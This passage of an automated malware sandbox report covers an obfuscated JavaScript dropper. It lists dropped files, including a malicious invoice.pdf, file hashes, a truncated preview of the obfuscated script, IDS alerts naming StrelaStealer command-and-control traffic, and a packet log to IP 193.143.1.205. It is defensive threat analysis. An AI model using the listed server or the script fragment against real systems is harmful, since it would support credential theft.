SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d082ebc2-7240-42e0-8db3-ce31f462eeab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15680), with CRLF line terminators
Entropy (8bit):	4.920708026941234
TrID:
File name:	2836992752554325080.js
File size:	19'235 bytes
MD5:	783137157899c46f37a871d5e271a34b
SHA1:	df4b6a069cb22c7b0af448271a1e5b46ba5dd5e7
SHA256:	bca9da647269b28e63f225ca1255a056194255e210b69053a16183bef4b72dd4
SHA512:	1a3f53c168f75143590d73ea59b7f1226bec0e840a19441afb891515a5cfe3e788362f55d6de5908cd50b3368ffb59356029f7c0796d521629f7c6decb20b6d0
SSDEEP:	384:BJHTe8d21dUxzVEMjYDs11H7OBeEEBxPJTyapwZ+vdquYZydk:zzdd2PUjYDs11H7OBeEEBxPJTyapwoIj
TLSH:	808275CE9C038B2395D448C4A15B51F737EC03DB16B54498F4CD28C929E5FB49AFA8BA
File Content Preview:	function edddsnhtw(){htjqcad=[1031,3079,5127,4103,2055,3072];var pjmrk=this[duxxxmgwa+okultgr+tskuxdpkf+qgffrggkk+muntjt+hckvnt+hkvvxsi+eldzzawfm](this[pwamf+yvybdm+kmemzwle+tskuxdpkf+vvobw+duxxxmgwa+eldzzawfm][rfizwbp+tskuxdpkf+muntjt+okultgr+eldzzawfm+m

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:14:20.193302+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T09:14:20.193302+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T09:14:22.787200+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:14:19.401777029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:19.406675100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:19.406795025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:19.410403013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:19.415198088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.192883015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.192909956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.192920923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193023920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193036079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193250895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193262100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193279982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193290949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193301916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.193301916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.193304062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.193301916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.193384886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.193384886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.198262930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.198273897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.198488951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.238852978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.238862991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.239264965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.318398952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318413973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318425894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318555117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318566084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318793058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.318793058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.318826914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318888903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.318953991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318974018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.318991899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.319020033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.319139957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.319156885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.319310904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.319856882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.319869041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.319881916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.319931984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.319931984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.320014954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.320027113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.320372105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.320732117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.320744038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.320755959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.320827007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.320940971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.320995092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.369463921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.369477987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.369487047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.369770050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.405175924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.405188084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.405378103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.443339109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443351030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443362951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443450928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443502903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.443531990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.443537951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443624973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443644047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443655014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443694115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.443694115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.443943977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443955898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.443968058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444081068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.444143057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444189072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.444360018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444372892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444384098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444489956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.444683075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444719076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444730997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444745064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.444773912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.444899082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444911003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444922924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444935083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.444942951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.444967031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.445651054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.445662022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.445673943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.445796967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.445807934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.445818901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.445830107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446002960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.446002960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.446002960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.446599007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446616888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446630001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446641922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446686983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.446687937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.446820974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446832895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446845055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.446865082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.446890116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.447464943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.447477102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.447489977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.447695017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.456056118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.456067085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.456079006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.456134081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.456134081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.456172943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.456182957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.456234932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.491997957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.492007971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.492193937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.530227900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530241013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530282021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530292988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530338049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530340910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.530349970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530379057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.530461073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.530522108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530533075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.530704975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.568418026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568429947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568439960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568501949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568512917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568523884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568564892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568607092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568641901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.568658113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568679094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.568732977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568744898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568756104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568798065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.568798065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.568948984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.568960905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569207907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569219112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569220066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.569232941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569263935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569276094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569282055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.569329977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.569514990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569526911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569539070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569562912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.569662094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569664955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.569674015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569686890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569724083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.569860935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569871902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.569916964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.570123911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570136070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570147991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570209980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.570209980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.570275068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570324898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570337057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570348978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570405960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.570405960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.570601940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570666075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570677996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570692062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570704937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.570724964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.570724964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.571096897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.571110010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.571122885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.571182966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.571182966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.571235895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.571248055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.571286917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.571408033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.578735113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.578747034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.578825951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.616827011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.616837978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.616935015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.616965055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.616976023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.616992950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.617005110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.617016077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.617069960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.617069960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.617166042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.617178917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.617189884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.617212057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.617266893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.617301941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655093908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655134916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655145884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655157089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655164003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.655199051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655203104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.655211926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655224085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655240059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.655354023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.655378103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655433893 CET	80	49705	193.143.1.205	192.168.2.8
